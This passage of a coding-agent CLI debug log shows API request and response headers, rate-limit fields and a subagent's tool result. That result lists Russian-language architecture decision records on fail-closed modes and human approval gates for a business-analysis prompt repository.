i],\n[2026-09-29T07:47:50.271Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:47:50.277Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:47:50.282Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:47:50.286Z] [STDOUT]     },\n[2026-09-29T07:47:50.289Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:47:50.292Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:47:50.295Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:47:50.301Z] [STDOUT]   },\n[2026-09-29T07:47:50.305Z] [STDOUT]   durationMs: 746,\n[2026-09-29T07:47:50.311Z] [STDOUT] }\n[2026-09-29T07:47:50.361Z] [INFO] {\n[2026-09-29T07:47:50.361Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:50.361Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:50.361Z] [INFO]   \"estimated_tokens\": 400,\n[2026-09-29T07:47:50.361Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:50.361Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:50.361Z] [INFO]   \"uuid\": \"6df77bbb-4b19-486a-a9b1-86d5b44d9624\"\n[2026-09-29T07:47:50.361Z] [INFO] }\n[2026-09-29T07:47:50.366Z] [INFO] {\n[2026-09-29T07:47:50.366Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:47:50.366Z] [INFO]   \"message\": {\n[2026-09-29T07:47:50.366Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:47:50.366Z] [INFO]     \"id\": \"msg_011CfXMw8qceYJ7mdSYJ22Sr\",\n[2026-09-29T07:47:50.366Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:47:50.366Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:47:50.366Z] [INFO]     \"content\": [\n[2026-09-29T07:47:50.366Z] [INFO]       {\n[2026-09-29T07:47:50.366Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:47:50.366Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:47:50.366Z] [INFO]         \"signature\": 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\"cf-ray\": \"a42961df3d80dbb5-FRA\",\n[2026-09-29T07:47:53.732Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:47:53.748Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:53.755Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:53.759Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:53.763Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:47:53 GMT\",\n[2026-09-29T07:47:53.771Z] [STDOUT]     \"request-id\": \"req_011CfXMwfu97VZHSFVULtVRG\",\n[2026-09-29T07:47:53.776Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:47:53.785Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:53.790Z] [STDOUT]     traceresponse: \"00-8e79c2241e824a72f711b19dce6be79f-3c3c0f6ea80002c2-01\",\n[2026-09-29T07:47:53.793Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:53.801Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:47:53.807Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:53.812Z] [STDOUT]   },\n[2026-09-29T07:47:53.816Z] [STDOUT]   durationMs: 692,\n[2026-09-29T07:47:53.829Z] [STDOUT] }\n[2026-09-29T07:47:53.846Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:47:53.851Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:47:53 GMT\",\n[2026-09-29T07:47:53.860Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:53.863Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:53.865Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:47:53.868Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:53.870Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:53.877Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:53.882Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:47:53.893Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:53.902Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:53.906Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:53.914Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:53.917Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:53.923Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:53.928Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:53.931Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:53.936Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:53.941Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:53.946Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:53.953Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:53.959Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:53.966Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:53.969Z] [STDOUT]   \"request-id\": \"req_011CfXMwfu97VZHSFVULtVRG\",\n[2026-09-29T07:47:53.976Z] [STDOUT]   \"traceresponse\": \"00-8e79c2241e824a72f711b19dce6be79f-3c3c0f6ea80002c2-01\",\n[2026-09-29T07:47:53.982Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:53.989Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:53.999Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:47:54.002Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:54.010Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:54.021Z] [STDOUT]   \"cf-ray\": \"a42961df3d80dbb5-FRA\",\n[2026-09-29T07:47:54.029Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:47:54.040Z] [STDOUT] [log_5d60a7] response parsed {\n[2026-09-29T07:47:54.049Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:54.060Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:54.062Z] [STDOUT]   body: X {\n[2026-09-29T07:47:54.067Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:47:54.072Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:47:54.076Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:47:54.080Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:47:54.084Z] [STDOUT]     },\n[2026-09-29T07:47:54.088Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:47:54.091Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:47:54.097Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:47:54.100Z] [STDOUT]   },\n[2026-09-29T07:47:54.103Z] [STDOUT]   durationMs: 700,\n[2026-09-29T07:47:54.112Z] [STDOUT] }\n[2026-09-29T07:47:54.120Z] [INFO] {\n[2026-09-29T07:47:54.120Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:54.120Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:54.120Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:47:54.120Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:54.120Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:54.120Z] [INFO]   \"uuid\": \"298b6cee-cba9-459e-adb6-fdee711da089\"\n[2026-09-29T07:47:54.120Z] [INFO] }\n[2026-09-29T07:47:54.131Z] [INFO] {\n[2026-09-29T07:47:54.131Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:47:54.131Z] [INFO]   \"message\": {\n[2026-09-29T07:47:54.131Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:47:54.131Z] [INFO]     \"content\": [\n[2026-09-29T07:47:54.131Z] [INFO]       {\n[2026-09-29T07:47:54.131Z] [INFO]         \"tool_use_id\": \"toolu_01DPFycJVvAZmjuVuLmU15Q9\",\n[2026-09-29T07:47:54.131Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:47:54.131Z] [INFO]         \"content\": \"14:> \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0425\u0430\u0431\u0430. \u0412 Structured \u0440\u0435\u0436\u0438\u043c\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 fail-closed; \u0432 Creative \u0440\u0435\u0436\u0438\u043c\u0435\\n33:### Fail-Closed Semantics (\u041a\u0420\u0418\u0422\u0418\u0427\u041d\u041e)\\n42:\u041a\u043e\u0440\u043e\u0442\u043a\u043e: **Structured = fail-closed**. \u0415\u0441\u043b\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043d\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u043e \u2014 \u0430\u0433\u0435\u043d\u0442 \u043d\u0435\\n---\\n20:# ADR-009: \u041c\u043d\u043e\u0433\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f BCREQ \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, human gates, \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043d\u0435\u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432\\n33:\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432**), **human gates \u0432 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0445 \u0442\u043e\u0447\u043a\u0430\u0445**, **\u0436\u0451\u0441\u0442\u043a\u043e\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435** \u2014\\n50:BCREQ, \u0433\u0434\u0435 \u0441\u0442\u043e\u044f\u0442 **human gates** \u0438 \u043a\u0430\u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0432\u0435\u0434\u0451\u0442 \u0441\u0435\u0431\u044f, \u043a\u043e\u0433\u0434\u0430 **\u0447\u0430\u0441\u0442\u044c \u0434\u0435\u0440\u0435\u0432\u0430\\n79:| \u2116 | \u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 | \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 | \u041f\u0440\u043e\u0446\u0435\u0441\u0441 | \u041f\u0435\u0440\u0435\u0445\u043e\u0434 \u0416\u0426 | Gate |\\n91:  \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 human gate (\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438, \u043f\u0440\u0438\u0451\u043c\u043a\u0430 \u0440\u0438\u0441\u043a\u043e\u0432, \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435).\\n93:  (\u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u0435\u0440\u0435\u0432\u0430 \u0432 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435); governance-overhead \u0440\u0430\u0441\u0442\u0451\u0442 \u0441 \u0447\u0438\u0441\u043b\u043e\u043c gate \u2014 \u0447\u0438\u0441\u043b\u043e\\n99:  `baselined`, \u043d\u0435\u0441\u0443\u0449\u0438\u0439 \u0432\u0441\u0435 human gate \u043d\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0433\u0440\u0430\u043d\u0438\u0446\u0430\u0445 \u0438 \u043e\u0441\u0442\u0430\u044e\u0449\u0438\u0439\u0441\u044f \u0434\u0430\u043b\u0435\u043a\u043e\\n101:  (\u041f3 \u043f\u0440\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0438 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u0432), \u043d\u043e \u043d\u0435 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0441 human gate (B2).\\n117:### 3. Human gates \u0432 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0445 \u0442\u043e\u0447\u043a\u0430\u0445\\n119:\u0422\u0440\u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 human gate \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d\u044b \u043a \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c-\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f\u043c `\u0447\u0435\u043b\u043e\u0432\u0435\u043a`\\n122:\u00abgate\u00bb \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 gateway/\u0442\u043e\u0447\u043a\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043d\u043e\u0439 \u043d\u043e\u0442\u0430\u0446\u0438\u0438 OMG BPMN 2.0.\\n132:\u0433\u0440\u0430\u043d\u0438\u0446\u044b \u2014 operation gate.\\n---\\nruns/2026/RUN-0013/metadata.yaml:10:tokens_input: 794\u2026te: \\\"0.62 (75 \u0438\u0437 121 \u043e\u0442\u0432\u0435\u0442\u043e\u0432 \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u0411\u0410 \u0431\u0435\u0437 \u044f\u0432\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438/\u043a\u0440\u0438\u0442\u0438\u043a\u0438; \u043e\u0446\u0435\u043d\u043a\u0430 \u043f\u043e \u043c\u0430\u0440\u043a\u0435\u0440\u0430\u043c \u0432 \u0440\u0435\u043f\u043b\u0438\u043a\u0430\u0445 \u0411\u0410, \u0441\u043c. logs/experiment-log.md)\\\"\\nruns/2026/RUN-0062/metadata.yaml:1:run_id: RUN-0062\\nruns/2026/RUN-0065/metadata.yaml:31:  - RUN-0062\\n---\\ndocs/adr:\\n0001-hub-sync-pr208.md\\n0002-issue48-handover-local-enrichment.md\\n0003-creative-mode-governance.md\\n0004-hub-resync-2026-08.md\\n001-prompt-standard.md\\n002-pattern-standard.md\\n003-ba-ontology.md\\n004-operations-taxonomy.md\\n005-artifact-team-naming.md\\n006-prompt-naming.md\\n007-kb-standard.md\\n008-industry-standards-standard.md\\n009-bcreq-formation-process.md\\n010-pages-ux.md\\n2026-08-adr-011-integration-task-artifacts.md\\n\\ndocs/rfc:\\n2026-08-task-taxonomy.md\\nknowledge-transfer-to-hub\\nprompt-improvement-bcreq-1025-proposal.md\\nprompt-improvement-multichannel-proposal.md\\nrfc-process.md\\nrfc-register.md\\nrfc-to-hub-001-knowledge-transfer.md\\nrfc-to-hub-002-prompt-debugging-process.md\\ngrep: docs/adr/011*.md: No such file or directory\",\n[2026-09-29T07:47:54.131Z] [INFO]         \"is_error\": false\n[2026-09-29T07:47:54.131Z] [INFO]       }\n[2026-09-29T07:47:54.131Z] [INFO]     ]\n[2026-09-29T07:47:54.131Z] [INFO]   },\n[2026-09-29T07:47:54.131Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:47:54.131Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:54.131Z] [INFO]   \"uuid\": \"e5a8d849-2c37-4e97-8a34-d05444e804e4\",\n[2026-09-29T07:47:54.131Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:54.071Z\",\n[2026-09-29T07:47:54.131Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:47:54.131Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:47:54.131Z] [INFO] }\n[2026-09-29T07:47:54.144Z] [STDOUT] [log_a8625a] sending request {\n[2026-09-29T07:47:54.153Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:47:54.159Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:54.162Z] [STDOUT]   options: {\n[2026-09-29T07:47:54.165Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:47:54.167Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:47:54.169Z] [STDOUT]     body: {\n[2026-09-29T07:47:54.171Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:47:54.174Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:47:54.176Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:47:54.179Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:47:54.181Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:47:54.184Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:47:54.188Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:47:54.194Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:47:54.203Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:47:54.209Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:47:54.213Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:47:54.241Z] [STDOUT]       stream: true,\n[2026-09-29T07:47:54.245Z] [STDOUT]     },\n[2026-09-29T07:47:54.248Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:47:54.251Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:47:54.255Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:47:54.258Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:47:54.263Z] [STDOUT]       aborted: false,\n[2026-09-29T07:47:54.265Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:47:54.268Z] [STDOUT]       onabort: null,\n[2026-09-29T07:47:54.273Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:47:54.276Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:47:54.279Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:47:54.283Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:47:54.286Z] [STDOUT]     },\n[2026-09-29T07:47:54.289Z] [STDOUT]     stream: true,\n[2026-09-29T07:47:54.292Z] [STDOUT]   },\n[2026-09-29T07:47:54.294Z] [STDOUT]   headers: {\n[2026-09-29T07:47:54.297Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:47:54.300Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:47:54.309Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:47:54.316Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:47:54.336Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:47:54.343Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:47:54.348Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:47:54.352Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:47:54.355Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:47:54.358Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:47:54.359Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:47:54.363Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1400\",\n[2026-09-29T07:47:54.370Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:47:54.375Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:47:54.380Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:54.382Z] [STDOUT]     \"x-client-request-id\": \"0e6e63cb-0626-4fa4-98ee-d8504bc478b0\",\n[2026-09-29T07:47:54.386Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:47:54.391Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:47:54.397Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:47:54.402Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:47:54.406Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:47:54.409Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:47:54.417Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:47:54.422Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:47:54.427Z] [STDOUT]   },\n[2026-09-29T07:47:54.431Z] [STDOUT] }\n[2026-09-29T07:47:54.821Z] [INFO] {\n[2026-09-29T07:47:54.821Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:54.821Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:54.821Z] [INFO]   \"estimated_tokens\": 231,\n[2026-09-29T07:47:54.821Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:54.821Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:54.821Z] [INFO]   \"uuid\": \"c1c2c1ca-7cb8-4c20-87a4-74f291117bfd\"\n[2026-09-29T07:47:54.821Z] [INFO] }\n[2026-09-29T07:47:54.828Z] [INFO] {\n[2026-09-29T07:47:54.828Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:47:54.828Z] [INFO]   \"message\": {\n[2026-09-29T07:47:54.828Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:47:54.828Z] [INFO]     \"id\": \"msg_011CfXMwgMRwTP3BBpNhm9TR\",\n[2026-09-29T07:47:54.828Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:47:54.828Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:47:54.828Z] [INFO]     \"content\": [\n[2026-09-29T07:47:54.828Z] [INFO]       {\n[2026-09-29T07:47:54.828Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:47:54.828Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:47:54.828Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:47:54.828Z] [INFO]     ],\n[2026-09-29T07:47:54.828Z] [INFO]     \"container\": null,\n[2026-09-29T07:47:54.828Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:47:54.828Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:47:54.828Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:47:54.828Z] [INFO]     \"usage\": {\n[2026-09-29T07:47:54.828Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:47:54.828Z] [INFO]       \"cache_creation_input_tokens\": 993,\n[2026-09-29T07:47:54.828Z] [INFO]       \"cache_read_input_tokens\": 57813,\n[2026-09-29T07:47:54.828Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:47:54.828Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:47:54.828Z] [INFO]         \"ephemeral_1h_input_tokens\": 993\n[2026-09-29T07:47:54.828Z] [INFO]       },\n[2026-09-29T07:47:54.828Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:47:54.828Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:47:54.828Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:47:54.828Z] [INFO]     },\n[2026-09-29T07:47:54.828Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:47:54.828Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:47:54.828Z] [INFO]     \"context_management\": null\n[2026-09-29T07:47:54.828Z] [INFO]   },\n[2026-09-29T07:47:54.828Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:54.828Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:54.828Z] [INFO]   \"uuid\": \"ba19c22a-ddaf-4a16-95bc-00fb790b0f72\",\n[2026-09-29T07:47:54.828Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:54.820Z\",\n[2026-09-29T07:47:54.828Z] [INFO]   \"request_id\": \"req_011CfXMwfu97VZHSFVULtVRG\"\n[2026-09-29T07:47:54.828Z] [INFO] }\n[2026-09-29T07:47:54.855Z] [STDOUT] [log_a8625a, request-id: \"req_011CfXMwmFcK3fTbTJpHJqwc\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 754ms\n[2026-09-29T07:47:54.860Z] [STDOUT] [log_a8625a] response start {\n[2026-09-29T07:47:54.867Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:54.876Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:54.880Z] [STDOUT]   headers: {\n[2026-09-29T07:47:54.886Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:54.892Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:54.902Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:54.933Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:54.946Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:54.986Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:55.004Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:55.054Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:55.070Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:55.082Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:55.086Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:55.096Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:55.105Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:55.115Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:55.157Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:55.164Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:55.167Z] [STDOUT]     